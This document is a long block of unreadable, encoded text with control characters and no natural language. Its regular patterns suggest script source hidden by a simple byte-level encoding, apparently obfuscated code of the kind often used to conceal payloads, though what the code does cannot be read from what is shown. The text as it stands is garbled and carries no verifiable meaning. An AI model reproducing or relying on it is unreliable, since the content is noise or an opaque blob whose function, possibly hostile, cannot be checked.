 E\_TTDDVI YX]PXTG^VI	T\YPI YX]@^_VgMMMM2E2[
^E\^]]DAMMMMMM\AMMMMEU\TF_ZU\DDVgggMMM2ET2_\_\E\^]\DAMM\AME_XT\Z^F_ZDDVgMVgMMMMMgIT[	MPMMMMM]VgMMMMEI[_Z
^_MMI 2]Z2DMMMIZ]]XP[^FXVI^PIZ]]X@^ZVgMMgMMMMMMMEZ[[ \ZEI 2]Z2DDMgggMMMVgMMMggMMMMMMMI[   MPMMMMMMOOVgMMIZ^] [MPMMMI 2]Z2MMCMT2_\_\E\_T\DVggMMMMMME-]]
X_E\\\UDEIZ^] [DMMMMKKML-2[
^E\^]_DEIZ^] [DDMMMgBBMM@ ggMMMIZ^] [MPMMVgMMMMMMEL-2[
^E\^]_DEIZ^] [DDMgZ^\2 EIZ^] [AMMMMMEY][FUZDAMMDVgMgMMMMMMMEIZ^] [MMKKMMMEL-T2_\_\E\^]^DEIZ^] [DMMMMMMMML-2[
^E\^]YDEIZ^] [DDDMMMggggMMMMMMIZ^] [MMPMMMMVgggMMMMggMMMEIZ^] [DMMMMMMggMMMMMMMMI  X 
MMPMMMIZ^] [MCMMJBJMMMCMMM	 U[\EDVgMMMI
U2Z MMMPMUT_[_YEIZX DVgMMMMMMMMI[\	[X	 MMPMM	 ^^TYEI  X 
AMMI
U2Z AMMMMM2[
^E\_T[DDVggMMEI[\	[X	 MMMKKMI[\	[X	 MSPMMMM2[
^E\^]XDEI
U2Z DDMMggggI[   MMPMI  X 
VgMMggBBM:=M$M,=$WMMggMMMMMMggggMMMMMMMELMMI[   DMMMMI\_P=%=2$#92 ,5B=%=2$#92 ,5VIZ\PI\_FY_VgMMMMI^X_MPMT2_\_\E\^][DE	 U[\EDAMM=,9%$#+"2+$!(#, (DVgMI]MMMMMPMMMMMI 2]Z2MMMMCMMM2[
^E\^]ZDMCMMI^X_VgMMELMMMMM-[_
 E\^]^DEI]DDMMMMgBBM:=M#
M/WMM@ ggMZ^\2 EI]AMME]\]	F]]DAMMDVggMI  X 
MMPMMI]MCMMJBJMMMMMCMMMM	 U[\EDVggMMMMI
U2Z MMPMMUT_[_YEIZX DVgMMMI[\	[X	 MPM	 ^^TYEI  X 
AMI
U2Z AMMM[_
 E\^]UDDVgMMMMEI[\	[X	 MMMMKKMMMMI[\	[X	 MSPMMMM]]
X_E\^]TDEI
U2Z DDMMMgMMMMI[   MMPMMI  X 
VgMMMgMI MMMMPMI^X_MMCMMJBJMCMMM	 U[\EDVgMMM2XX2	ZTXT
EI 2]Z2AMMI DVgMMMMgMMMMggMMMMELMMMMI[   DMMgMMMVgg\\_ EI[   DVgM    ^U]EI[   AMMME_\TFZ^DDVgMMIT[	FFVggMMgMMMMEIT[	MSMMM]DMMgMM2ET2_\_\E\^]\DAMM\AME_[]X^]@\^^]DDVgMMMMMgggMMM2ET2_\_\E\^\]DAMMMM\AMMMME^X_XFZXDDVgMgMMMMME9MMMMMI

ZDMMMggggMMM]Y\
\[ZET2_\_\E\^]UDAMMMMI

ZDVI_	_^YTPY\\ZVI^_PI_	_^YTHUVgMMMMME(MMMMI

ZDMMgMMMMMMgMMgggMMMMM2XX2	ZTXT
EI 2]Z2AMMI DgMgMMggMMMI	MMMPMMMI 2]Z2MCMMT2_\_\E\^\\DVgMMMMMMMELMMMMMM-T2_\_\E\_[XDEI	DDMgBBM:=M/M9 WMM@ggMMMMMMI	MMMPMMT2_\_\E\^\_DEI 2]Z2DMMMCMMMM]]
X_E\^\\DVgMMMggMELM-[_
 E\^\^DEI	DDMMgBBM=>?@\XM 		WMM	ggMVgMMMggMI	]_[	MPMM-T2_\_\E\_[[DEI	DVgMELMMMI	]_[	DMMgMMVggMMMMgMIZ
X MMPMMOOVgggMMMIMMPMMMMOOVIX[Y\	PZT_\VI   X\PIX[Y\	HUVggMMMMMME[_
 E\_^TDET2_\_\E\^\YDAMMI	]_[	AMMMMMMI__^\\DDMMMMMgMMIZ
X MMPMMMMMI__^\\6\0VgMMgBGMM 
@MGBgggMMMMME]]
X_E\_^TDE[_
 E\^\XDAMMMMI	]_[	AMMI__^\\DDMI
 ^
UUYPE]F]ZZDVI22PI
 ^
UUYH\]VgMMIMMMMPMMMI__^\\6\0VIP=%=2$#92 ,5B=%=2$#92 ,5VIT2]PIFY_VgggMMMMELMIZ
X MMLMMMIMMMLM[_
 E\^\[DE2[
^E\^\ZDAMMMMMMIDDMMMggggMMMMVgMMMMgMMMI	MMMMMPMMMI*!"/,!>62[
^E\^\UD0VgMELMMT2_\_\E\_^^DEI	DMMMMLMMT2_\_\E\^\TDEI	AM]]
X_E\_\DDDMgMMMVgMMMMMMMMggggMMMELMM]]
X_E\^\[DET2_\_\E\^_]DAMMMIZ
X DDMMg]Y\
\[ZE]]
X_ET]]DAMMMMMT2_\_\E\^_\DDVgMVgggggMI]U[]^2MMMMMPMJJMMMMCMMIZ
X MMMMCMT2_\_\E\^__DMCMMMMIMMMMMCMMMMMT2_\_\E\^_^DVgMMMI	@SE]]
X_E\^_YDDVgMMMMMI[2YU	MMMPMI	@S
2EJ>JMMMCMT2_\_\E\^_XDMMMCMMMMI]U[]^2MMMMMMCMMMMT2_\_\E\^_[DMMCM[_
 E\^_ZDMMCMM]]
X_E\^_UDDVgMMMMEI[2YU	MPPPMDMMgMMMI	@SE[_
 E\^_TDDVgMMVggggMgIUX]\\MMMMPMMMM\T	
2[EI[2YU	DVgMMMMELMMM]]
X_E\_T^DEIUX]\\DDMMMMgI	@SE[_
 E\^^]DDVgMMMMMVggMMMMgMMET2_\_\E\_YZDEI AMMIUX]\\AMDDMgMMI	@SE2[
^E\^^\DDVgggMMMMMMVgMMMgMMMMMMIUX]\\60MMPMI VgMIUX]\\MMMMMPMM]]
X_E\^^_DEIUX]\\DVI Z	U_[U\PYTF^UVI	[UPI Z	U_[U\@Y^VgIT[^Y_MPMMMM]]
X_E\^^^DEIUX]\\DVggggMMIU2XZMPMMI	@SEI	@SEJ8JMMMMCM[_
 E\^^YDMMCMMMI]U[]^2MMMCMM2[
^E\^^XDMMCMMM]]
X_E\^_ZDAMMMIT[^Y_DDVgMMEIU2XZMMPPPMMDMMMMgMMMM]Y\
\[ZE2[
^ET]]DAM2[
^E\^^[DDVgMMMMI	@SET2_\_\E\^^]DDVgVgMgMMMMMMMMI	@SET2_\_\E\^^\DDVgMMMME9MMI

ZDMIU	^PU]\\XVI [YZPIU	^3__TVgMMM]Y\
\[ZET2_\_\E\^^ZDAMMMI

ZDVgMMMME2[
^E\^^UDEI*!"/,!>6]]
X_E\^\UD0DDMMMgM-I*!"/,!>6[_
 E\^\UD0@SET2_\_\E\^^TDDVgMggMMMMMMgMMMMMMMME(MMMI

ZDMMMgMMM]Y\
\[ZE[_
 E\^^ZDAMMMMMI

ZDVgMMMMME[_
 E\^^UDEI*!"/,!>6]]
X_E\^\UD0DDMMMMgMM-I*!"/,!>6[_
 E\^Y]D0@SE2[
^E\^^TDDVgggMMMMgMgBBMM		@MM. M	ggMMMgMM	^UZ2[YZTEDgMgMMMMI	]_[	MPMMVgMEI	]_[	MMMMLPPMMDMMMMMI	]_[	VgggMMMEL2[
^E\_^ZDE2[
^E_T^DDDMggggMMMMMI	]_[	MMMPMOOVITY]\[UP\^_XYVI 
2ZPITY]\[U3[\VgMMMMMMI	]_[	VgMMgMMI	]_[	MMMMMPMM-
E[_
 E^U[DE]]
X_E\^Y\DDDVgMMMMEL]]
X_E\^Y_DEI	]_[	DMMMMMM2[
^E\^Y^DEI	]_[	DMMMQMMEXYFY[DDMI	]_[	MPMOOVgMMMMI	]_[	VgMMgMMMMM]_EDgMMMMMgMMI]
YT ZP@\X]VI_XPEI]
YT ZS]DRI]
YT ZW@I]
YT ZVgMMMMMEL		E[_
 E\__ZDDDMVgI]_
] MPM[_
 E\^YYDETXXEDAMM]]
X_ETUXDDVgMMMMI T[ MMMMMMPMT_
	
  \XE,/>=,9%MMCMMM2[
^E\^YXDAMME_F[DDMMMCMMT2_\_\E\^Y[DVgMMMIZ_ T^MMMMMPMMMT_
	
  \XE,/>=,9%MMMMCMMMM]]
X_E\^YZDAME\[^3\Z\DDVgMI Y
ZX2MMPM[_
 E\_^ZDET2_\_\E\^YUDDMRMMMM2EDMWMMMMOOVgMMMEI Y
ZX2MPPPMMMOODMMMgMMI Y
ZX2MPME[_
 E\^YTDE]]
X_E[\YDDMMRMMM
22EDMMWMMMMOODMMCMMMMMM[_
 E\^X]DVgMMMgMMI XZMMMMMPMMMMT2_\_\E\^X\DE2[
^E\^X_DAMMM]]
X_E\^X^DAMI Y
ZX2MMMMCMMMJBJMMCMMI T[ DVggggMET2_\_\E\_[\DEI XZAM]]
X_E\^X^DDMMMLPPM]DMMMI XZMMMMMPM2[
^E\^X^DMCMMMMT2_\_\E\][_DEI XZAMJBJDVgMI
]U2\

MMMMPMM]]
X_E\^YTDET2_\_\EZZ]DDMMRM 2E[_
 E\^XYDMMMMMCMMMYT2	Y	ET2_\_\E\^YZDDDMMMWMMOOVgMMMMMMMMMMEI
]U2\

MMMMMPPPMOODMMI
]U2\

MMMMPMT2_\_\E\^XXDMMMMMCMMM	Z[ Z ]Y_TEOODMCM]]
X_E\^X[DMMMMCMMMMYT2	Y	E]]
X_E\^YZDDVggggMMMMMMET2_\_\E\_[\DEI
]U2\

AM2[
^E\^XXDDMLPPMMM]DMI
]U2\

MMMMPMMT2_\_\E\^XXDMMCMMMMT2_\_\E\^XZDET2_\_\EYT]DE]]
X_E\^XUDAMMMMMOOAMMMI
]U2\

DAMMJBJDVgIYMPMMEI*!"/,!>6]]
X_E\^XTD0DMMKKMT2_\_\E\^Y_DEI*!"/,!>6]]
X_E\^XTD0DMMRMMI*!"/,!>62[
^E\^XTD0MMWMMMOOVgMMMMMMMMME2[
^E\^Y^DEIYDMMQMME\X]@X]DDMMMgMMMIYMPMMMMU2\_Y^ _E[_
 E^TTDAMMMMMOODVgMMgMMME[_
 E\^Y^DEIYDMQMMMMME\TX@TXDDMMgggIYMMPMMMMM	^UZ2[YZTEDVI2	
P=%=2$#92 ,5B=%=2$#92 ,5VIT
^PI2	
F\UVgMMgMMMMI_
MPMMOOVgMMMMMMMMMMMEEI*!"/,!>6]]
X_E\^[]D0DMKKMT2_\_\E\^Y_DEI*!"/,!>6[_
 E\^[]D0DMMMMKKMMM[_
 E\^Y^DEI*!"/,!>6]]
X_E\^[\D0DMSMME_]F^]DDMMgMMMMMI_
MMMMMPMMMMI*!"/,!>6T2_\_\E\^[\D0VgMMMMMMgMMMMMMMI_
MMPMMMMU2\_Y^ _E2[
^EZ]ZDAMMOODVgMMgME[_
 E\^[_DEI_
DMMMMSMMME\^F^ZDDMMMMMgMMMMU2_T
Z
E]]
X_EZ]ZDAMMMI_
AMMM2[
^E\^[^DDVgMMMMMgMMMMMMMMI	Y[_XU _MMMMMMPMMT2_\_\E\^YTDE2[
^EZZ]DDMMRMMMMMME
DMMMMT2_\_\E[\UDE 2EJBJDAMMMMM=%=28?!2=,9%DMMWMJBJVgMMEI	Y[_XU _MMMMMPPPMOODMMMI	Y[_XU _MPMMMMMJBJVgMME2[
^E\\^UDEI	Y[_XU _AMMMM@\DMMMMLPPMMJBJDMMMI	Y[_XU _MMCPMMMMJBJVgMMI22UMMMMPMMMMMMEgMMMMMM[_
 E\^[YDMMMMMPSMMMMY [\X_EDAgM]]
X_E\^[XDMMPSM	]^2 ZEDAgMMMMMMT2_\_\E\^[[DMPSMMI	Y[_XU _AgMMDVgITY
[_^MMMPMMMEgT2_\_\E\^[ZDMMMPSMMMMI XZAgT2_\_\E\^[UDMPSMMI]_
] AgMM]]
X_E\^[TDMMPSMMMI
]U2\

AgM[_
 E\^Z]DMMPSMT_
	
  \XE,/>=,9%MMMCMMMT2_\_\E\^Z\DAMMMME_F\]DDAgggMM]]
X_E\^Z_DMMMMMPSMI_
AgMMMMMMDVggMMIT]^]MMMPMMMMM_		T
U_E2[
^E\^Z^DAMMOODVgMMMEL2[
^E\^Y_DEIT]^]DMMM]]
X_E\^ZYDEIT]^]DMMPPPMM]DMMMgVgMMMgBBMMMM 
MggMIUX	X\
]MMMMPMM2[
^E\^ZXDE]X[
U]YE2[
^E[X^DEITY
[_^DAMMMMMMIT]^]DDVgMI]	MMPMMMM2[
^E\^Z[DMMMCMMMM[_
 E\^ZXDE[_
 E[X^DEI22UDDMMMCMM]]
X_E\^ZZDVgMI]	MMMCPMMM2[
^E\^ZUDMCMMMIUX	X\
]MMMCMMMM]]
X_E\^ZTDVgU2_T
Z
E[_
 E\^U]DAMMMMI]	AMMMMMMT2_\_\E\^U\DDVgMMMMU2_T
Z
E2[
^E\^U_DAMM]]
X_E\\Y_DEE
DMMMMIYMMCME
DMI_
MMMMMCMMIT]^]MCMMMMJJMMMMCMMM[_
 E\^U^DE	Z[ Z ]Y_TEOODDDAMMM]]
X_E\^U\DDVgIZ2[U MMPMMM2[
^E\^YTDET2_\_\EZZ]DDMRMM 2ET2_\_\E\^XYDMMMMMMCMMYT2	Y	E2[
^E\^UYDDDMWMMMOOVggMMMMMMMMEIZ2[U MMMMPPPMMMOODMMMIZ2[U MPM]]
X_E\^XXDMMCM	Z[ Z ]Y_TEOODMMCM[_
 E\^X[DMMCMMMMYT2	Y	E[_
 E\^UXDDVI PT]UVI T
PI H^VgMMMMMME2[
^E\_[\DEIZ2[U AMM]]
X_E\^XXDDMLPPMM]DMMMMIZ2[U MMPMM[_
 E\^XXDMMMCMMMM[_
 E\^U[DET2_\_\E\^UZDET2_\_\E\^UUDAMMMOOAMIZ2[U DAMMMMMJBJDVgU2_T
Z
E]]
X_EX^\DAMMIZ2[U AMM2[
^E\^UTDDVgMMMMME]]
X_E\^T]DEIYDMMMQMMMMMEX]QQ\DDMMMMMMgVggggMMMMU2_T
Z
E]]
X_E^TTDAMMIYAM]]
X_E\^UTDDVggggMELX	
] ^_EDDMMVgMMI]]MMPMX_T] 
EDVggggMMMMEL-T2_\_\E\^]^DEI]]DDMMZ^\2 EI]]AMME_[]F_^^DAMMMMMDVgggMMEL-[_
 E\^T\DEI]]DMMMMMMMML-2[
^E\^T_DEI]]DDMMMMVgMI
X\MPMMI]]MMMMCMMMJBJMCMIZ_ T^MMMMMCM2[
^E\^T^DVgI YY MPMMU^T	ZEg2[
^E\^TYDAgEJ22>!8*22JAMMJ227$=2#, (22JAMMJ22:?$9(2&(422JAMJ22;(?>$"#22JDAgEI]_
] AMMI T[ AMMMT_
	
  \XE,/>=,9%MCMMM[_
 E\^TXDAMMME\[@YDDAMMMMMT2 _U_ EDDggggDVgMMMMMMELI YY DMggggMMMMEEDMM
2E[_
 E\^T[DAMMM]DMSMMMMM]DMMM]Y\
\[ZE]]
X_E\^UXDAMT2_\_\E\^TZDDVgVgMMMMMgMMMMMMMMEL-]]
X_E\^TUDEI
X\DMMM]]
X_E\\Y_DE2
	

EE
DMMM-2[
^E\_[[DEI
X\DDDMMLPPMM2[
^E\^TTDEI YY DDMgMMMMM	 ^^TYEI
X\AMI YY AMM]]
X_E\Y]]DDVgM[]^^
_EI
X\AM	^EDDVgM    ^U]EI
X\AME^TZF_^DDVggggMMMYU	XT]2EI
X\DVgggMMMgMMME9MMMI

ZDMMMgM]Y\
\[ZET2_\_\E\Y]\DAMMI

ZDVgMMMMMMMMMMMME(MMI

ZDMMMggMMgMMU^T	ZEIAMMMMMI]
X]Y\AMMMI_2TZYDggI^^UMMMMPMMMVgMMMMMMMEI^^UMPPPMMMMMMDMMMMMgI^^UMPMMMMMT2_\_\E\Y]_DE2[
^E\]]UDDMRMM
2EZYU_YTUEDDMMMMWMVgMMMMMELMMT2_\_\E\_T^DEI^^UDDMMMgMI^^UMMPM\ TXT
[[\
E[_
 EZ^TDAMMMDVgMMMgMELMT2_\_\E\_T^DEI^^UDDMMMMgMMMMI^^UMMPMEDVgggBBM:=M,M9WMM@ ggMgMI2\Z]U 	MPMMOOVgMEEI^^U6I0DMMMMKKMM]]
X_E\^Y_DEI^^U6I0DDMMggMI2\Z]U 	MPMMI^^U6I0VgMMMMMggggMMMME[_
 E\Y]^DEI2\Z]U 	DMQMMMMEYUF_DDMgMI2\Z]U 	MPMU2\_Y^ _EIAMOODVgMMgME2[
^E\Y]YDEI2\Z]U 	DMMMMMMQME]\\F]_\DDMMMMMMMMMVgMMI]_]XMMMMPMM]]
X_E^U[DEI2\Z]U 	AMMDVgMMMMMMMELI]_]XMMMMMT2_\_\E\Y]XDEI]_]XDMQMME\T[3_Y[DDMMMMVgMMMMMMME2[
^E\_[\DEI]_]XAMMM2[
^E\\YXDDMMMMPPPMDMMMMVgMI]_]XMMMMMPMMM[_
 E\Y][DEI]
X]Y\AMMI_2TZYAMMMMMI]_]XDVgMME		E]]
X_E\Y]ZDDDMgBBM:=M/M,=$M^WMM@ggMMMMMMgMMM-2
2EI]_]XAMMM9"&(#2=,?>(DVgMMMMMMMMME9MI

ZDMMgMMVgMMMMME(MMI

ZDMgMMMMVggMMMMMMMMEL]TX^EI]_]XDDMMgBBMM	
gggMMMMVgMMgMMMMMMMMMMMMI]_]XVggMMMMgMMMMM[Y\EDgggMMggggMMMMMgMMMMMMEL[_
 E\Y]_DET2_\_\E\Y]UDDDMMVgMMEL		E]]
X_E\__ZDDDMMMVggggMI_	UMMMPMMM]
^^	\T^\EDVgMMELI_	UDMMMgM]_EDVgMMI_	UMMMMMPMMM]
^^	\T^\EDVgMMMgMMMMMMMIUTMPMMMMU2\_Y^ _ET2_\_\E\^Z^DAMOODVgMME]]
X_E\Y]XDEIUTDMMMPPPMMMM]DMMMIUTMPM2[
^E\Y]TDEO1]]OAMMME[F\]DDVgI\ YU	MPMEEI*!"/,!>62[
^E\Y\]D0DMMMKKMMM[_
 E\^Y_DEI*!"/,!>6]]
X_E\Y\\D0DMMMKKMM]]
X_E\Y]XDEI*!"/,!>6]]
X_E\Y\\D0DMMMMMMSPMMEZXF_XDDMMRMI*!"/,!>6T2_\_\E\Y\\D0MMMMWMU2\_Y^ _ET2_\_\E^TTDAMMMOODVgMMME2[
^E\Y]XDEI\ YU	DMMQMME\^Y@^YDDMI\ YU	MMPM	^UZ2[YZTEDVgIY ]Z2T_MPMMEEI*!"/,!>6]]
X_E\^[\D0DMMKKMMM2[
^E\^Y_DEI*!"/,!>62[
^E\^[\D0DMMKKM]]
X_E\Y]XDEI*!"/,!>6T2_\_\E\^[\D0DMMSMME\Z^3\XTDDMMMMMMRMMMI*!"/,!>6T2_\_\E\^[\D0MWMMMU2\_Y^ _E2[
^EZ]ZDAMMMMOODVgMMMI]YY \	MPMMMMM2[
^E\^TTDEI\ YU	MMMCMMIY ]Z2T_MMMCMIUTMCMMMMJJMMMCMM[_
 E\Y\_DE	Z[ Z ]Y_TEOODDDVgMMMEU2\_Y^ _E]]
X_E\^U_DAMOODMMMLPPMMMMI]YY \	DMMgMM]_EDVgMMI_	UMPMM]
^^	\T^\EDVgMMMgMMMMMMMELX	
] ^_EDDMMVgMMMMI [X\MMMMMPMMM _^][[	EDVgggI\2ZY\MMPMMM-]]
X_E\^TUDEI [X\MCMMM]]
X_EXY\DDVgMMMMMEI\2ZY\MMKKMMMMMI_	UMMKKM
2E2[
^EZ^[DDDMMMMVI_T2T
P_T^VITT[\ZPEI_T2T
S]DRI_T2T
W@I_T2T
VgMMMX\Z [\	]EDVg\UUTXEDVgMMM
TTTYEDVggMMMMMIT\	^YMMPMM-]]
X_E\Y\^DEI [X\MCM]]
X_EXY\DDVgMMMI_	UMPMM]
^^	\T^\EDVgggMEIT\	^YMKKMI_	UDMgMM2ET2_\_\EZ^[DAMMMM\AMMMEXX_@_X_DDVggggMMgMMMMMMME9MMMMMMI

ZDMMMgBBM:=M( 	M/WMM@gg]Y\
\[ZE[_
 E\Y\YDAMMI

ZDVgMMMMME(MMMI

ZDMMMMgggMMMMM\UUTXEDggMMMMMMMgMMMMEL		E[_
 E\__ZDDDMMMMVgMMMMET2_\_\E\Y\XDEDMMPPPMMM[_
 ET^DDMMMMMVgMMI[ ]TU2^MPM]]
X_E\Y]_DE2[
^ET[DDMMMRM-]]
X_ET[DE[_
 EXXXDDMMMMWMVgMELI[ ]TU2^MMMI[ ]TU2^MMMMMMPPPMOOMMMMMMI[ ]TU2^MMPPPM2[
^EXXZDDMMMMMMI[ ]TU2^MMMMMPMT2_\_\EXXUDVgggMMIZ_ T^MMMMMMPMT_
	
  \XE,/>=,9%MMMCMMT2_\_\E\Y\[DAMME_QQ_DDVgI [X\MMPMM _^][[	EDVggggMI]]MMPMMX_T] 
EDVgBGMMMGBgggggI]U]MMPMMT_
	
  \XE,/>=,9%MCMM]]
X_E\\]\DAMEYQQ\DDMMMCMM[_
 E\^T^DVgIY[\YMMMMMMPMI [X\MMMCMJBJMMMMCMMI]U]VgIY^ X]UXMPMI [X\MMCMMMMMM]]
X_E\Y\ZDMCMMI]U]VgI]_
] MMMMPMM2[
^E\^YYDETXXEDAMMMM[_
 E\^T^DDVgMMMI T[ MMMMMMPMMMMT_
	
  \XE,/>=,9%MMMMCMMMT2_\_\E\^YXDAME]^F]XDDMMMMCMM2[
^E\^Y[DVgMMMMMI]	]
	^MMMMPMEDM
2E[_
 E\Y\UDAM]DVgMMMEI]	]
	^MKKMMM[_
 EXXYDEDMMM@MI]	]
	^MMMQMEU[^YYFX[DDMgBBMM MM:=M9M/ggggMM	[]XY\_]^[EIY[\YAMMDVgMMMM	[]XY\_]^[EIY^ X]UXAMMMDVgMMMMMMMEE[_
 E\Y\TDE,/>=,9%AMMMM[_
 E\_ZYDDAMMMM[_
 E\Y_]DEI [X\AMMMMMM]]
X_E\_ZYDDDMMMMMMI

Y2DMMgMMMMMI^T

_]22MMPMMI

Y2MMCMMMMJBJMMCMI[ ]TU2^VgI	[2 \Y\MMMMPMM-]]
X_E\^\^DEI^T

_]22DMMMRM-]]
X_E\Y_\DEI^T

_]22DMMWMMMMOOVgME[_
 E\^Y_DEI	[2 \Y\DMMMMKKM[_
 E\_[\DEI	[2 \Y\AMMMMMI]U]DMLPPMMMMMDMgMMMMMI_[^^YTMMPMMMM2[
^E\Y__DET2_\_\E\Y_^DMMMMCM2[
^ET[^DEI]U]AMMJBJDMMCMMMT2_\_\E\Y_YDAMMO1OAMMMI	[2 \Y\DVgMMMMME]]
X_E\^Y_DEI_[^^YTDMMKKMMI_[^^YTMMMMLPPMMI	[2 \Y\DMMMMYY2T  ^\EI^T

_]22AMMI_[^^YTDVgMMgBBM 
 MggMMMMMggggVI[PE]XF]XDVI[2YPI[H\_VgMMMMgMI[[ \MMMPMU^T	ZEgT2_\_\EZ_[DAggMEJ22>!8*22JAMJ227$=2#, (22JAMMMMJ22$#>92%,>%22JAMMJ22),9,2)$?22JAMMMJ22."#9(#92)$?2/[Y22JAMMJ22;(?>$"#22JDAgMEI]_
] AMMI T[ AMMMIZ_ T^AMMM2[
^E\Y_XDMMMCMT_
	
  \XE,/>=,9%MMCMMMMM[_
 E\^UDAMMME\FZDDAMT2_\_\E\^ZXDE		E2[
^ETXYDDMRM:=2."#9(#92)$?MWMMM _^][[	EDDAMMMMT2 _U_ EDDgMMMMMMDVgMMMMMMMMELI[[ \DMgMMMMMMMMMEEDM
2E2[
^E\^T[DAMMM]DMMMSMMMMM]DMMM]Y\
\[ZE]]
X_E\Y_[DAMMMM[_
 E\Y_ZDDVgVgggMMMEL-T2_\_\E\^T\DEI]]DDMZ^\2 EI]]AMMEYY]FX^DAMMMMMMDVgMMMMI^Y\\^XYMMMPMMVgMMMMMMMMMEL-2[
^E\Y\^DEIY^ X]UXDMMM[_
 E\^TTDE2
	

EE
DMMM-2[
^E\Y_\DEIY^ X]UXDDDMMMLPPM2[
^E\Y_UDEI[[ \DDMMMgMMMMMM	 ^^TYEIY^ X]UXAMMMMI[[ \AMMM]]
X_E\Y_[DDVgMMM[]^^
_EIY^ X]UXAM	^EDDVgMMMMMMM    ^U]EIY^ X]UXAMEY\XFXDDVgggYU	XT]2EIY^ X]UXDVgMI^Y\\^XYMPMMMVgMggMMI

^ TMMPMMOOVgMMMEE[_
 E\Y_]DE,/>=,9%AM2[
^E\_ZYDDAMMM2[
^E\Y_]DEI [X\AMMMM]]
X_E\_ZYDDDMMMMI 	X	DMgMMMMMMIZ\XMMPMM-2[
^E\Y\^DEI 	X	MMMMCMJBJMMMMCMI[ ]TU2^DMMMMMRMM-]]
X_E\Y_\DEI 	X	MMCMMJBJMMMMCMMMI[ ]TU2^DMWMMOOVgMMMMMME[_
 E\Y_TDEIZ\XDMKKMMMMMT2_\_\E\Y^]DE2[
^E\Y^\DAMMIZ\XAMMIZ][DDMgBBM	MM	
@	gIXPXZFX\VI2TYT PIX@_YVgMMI	[\Z UMMPMMMM2[
^E[[_DEIZ][6_0DVgMMMMEI	[\Z UMMMMLPPMMOOMMKKMEI	[\Z UAM]]
X_E\Y^_DDMPPPMMMMMMMMMKKMML
	Z]	XX22EI	[\Z UDDMMMMgBGMMMGBggMI

^ TMPMMI	[\Z UVgMVggMMgMgMMMMgggIZ _XMMPM2[
^ETT_DMMMMCMMMEI

^ TMMLPPMOOMRMMT2_\_\E\Y^^DMMMMCMMMMMM]]
X_E\Y^YDEI

^ TAMDMMCM[_
 E\Y^XDMMMMWMOODgMCMM2[
^E\Y^[DMMMCMMMMMI]U]MMCMMMMT2_\_\E\^ZTDggggCM[_
 E\Y^ZDgMMMCMMMMMT2_\_\E\Y^UDgMMCMMMM2[
^E\Y^TDMMMCMMMMT2_\_\E\Y_UDEI[[ \DMMMCMMM2[
^E\YY]DVgMMMMEL-T2_\_\E\Y\^DEIY[\YDMMMMMM2[
^E\Y_UDE2
	

EE
DMM-2[
^E\Y_\DEIY[\YDDDMMLPPMMMMMM[_
 E\Y_UDEIZ _XDDMMggMMM	 ^^TYEIY[\YAMMIZ _XAMMM]]
X_E\YY\DDVggMMMM[]^^
_EIY[\YAMMM	^EDDVgM    ^U]EIY[\YAME^^XFUXDDVgMYU	XT]2EIY[\YDVggggMMMI^Y\\^XYMPMMMMVggggMIXU2TMMPMVgMI]_[MPMMMM2
	

EE
DMM-[_
 E\Y_\DEIY^ X]UXDDVgMMEL-]]
X_E\^\^DEIY^ X]UXDMMI]_[MMMMMLPPMMMMMI[[ \DMMgBBM:=M!M=MMgI	  2TYP\\[\Z_VI		PI	  2TY3[YVgMM]Y\
\[ZE2[
^E\Y_[DAMMMT2_\_\E\_\TDDVg	[]XY\_]^[EIY^ X]UXAMMDVgMMMMMIXU2TMMMPMVgMMMMMMMMgMMMMMMI]_[MPMMMMM2
	

EE
DMMMMMM-T2_\_\E\Y_\DEIY[\YDDVIU^P^]YZVI_
\UTPIU^H\]VgMMMMMMMMEL-2[
^E\YY_DEIY[\YDMMMMMMMI]_[MLPPMMMMMIZ _XDMMMggggM]Y\
\[ZET2_\_\E\YY^DAM[_
 E\_\TDDVgM	[]XY\_]^[EIY[\YAMMMDVgMMMIXU2TMPMMVggBBM@	 MMM:=M$ 
M/ggMMMMEI]_[DVgggMMMMMELIXU2TDMMMMgMMMMMIT]
ZX
MMMMPMMMMEDMM
2ET2_\_\E\YYYDAMM]DMMMMMFM\VgM	2E[_
 E\YYYDAMMIT]
ZX
AMMM[_
 E\^UTDDVgMMMMMMEIT]
ZX
MMSPMMEY@\DDMMgMMMMM	2E[_
 E\Y\UDAMT2_\_\EXXYDEDAMMMM2[
^E\^UTDDVgMMMMM]Y\
\[ZE2[
^E\YY^DAM[_
 E\YYXDDVgMMgBBMM
MM:=M*M>ggMVgMMgI[
MMPMME2[
^E\YY[DE,/>=,9%AMM]]
X_E\YYZDDAMMMM[_
 E\YY[DEI [X\AMT2_\_\E\YYZDDDVgMMMMMI	XX \XUMPMEDVgMMMMMMEI[
MMMMMMMI 	[TX2YDMMMMgggMMMMMMMI	\ZZ
ZUMMMMMPMMMMI 	[TX2YMMMCMMJBJMMCMMMMI[ ]TU2^VgMI	TT]MMMMMPMMM-]]
X_E\YY_DEI	\ZZ
ZUDMMRMMMM-T2_\_\EUY\DEI	\ZZ
ZUDMWM]VgMMMMIMMPMMMMM-[_
 E\Y\^DEI	\ZZ
ZUDMMMRM-]]
X_E\YYUDEI	\ZZ
ZUDMWMMMMOOVgMMMEL[_
 E\Y_TDEIDDMMgMM]Y\
\[ZE]]
X_E\YY^DAMMT2_\_\E\YYTDDVgMMMMMMMMVgMMMMMMMgMMMMMET2_\_\E\_[\DEIAMMMI]U]DMMMMPPPMDMMMgMMMEIMMKKMMM]]
X_E\YX]DE[_
 E\YY[DEIDAMMM@\DMMLPPMMMO1ODMMIMMMMCPMMO1OVgMMMMI
T\_	X\[XMPMM]]
X_E\YX\DMMCMMMMIY[\YMMMCMMJOJMMMMMMCMM=%=2("!VgggMMMMMEYY2T  ^\EI	\ZZ
ZUAMMMIMCMMI
T\_	X\[XDDMMMMMgMMMMEI	TT]DM[]^^
_EI	\ZZ
ZUAMMMMMMI	TT]DVgM[]^^
_EI	\ZZ
ZUAM[_
 EXXYDEDDVg    ^U]EI	\ZZ
ZUAMMMETFY\\DDVgggMM	2ET2_\_\E\YX_DAMMMMMT2_\_\EXXYDEDAMMM]]
X_E\YX^DDVgI	XX \XU60MMMPMMMMEI	\ZZ
ZUAMIDVgMMMMMEEDM
2E]]
X_E\YYYDAM]DMMMSMM]DMMMMM	2E[_
 E\YXYDAMMM]AM]]
X_E\YX^DDVgMMMEEDMMMM
2ET2_\_\E\Y\UDAMM]DMSMMMM]DMM-	2E[_
 E\Y\UDDVgMMMMMMgMIU	U XMPMMMMEDM
2ET2_\_\E\YXYDAM]DMMMMMFMM\VgMMMM	2E]]
X_E\YXXDAMMMIU	U XAM2[
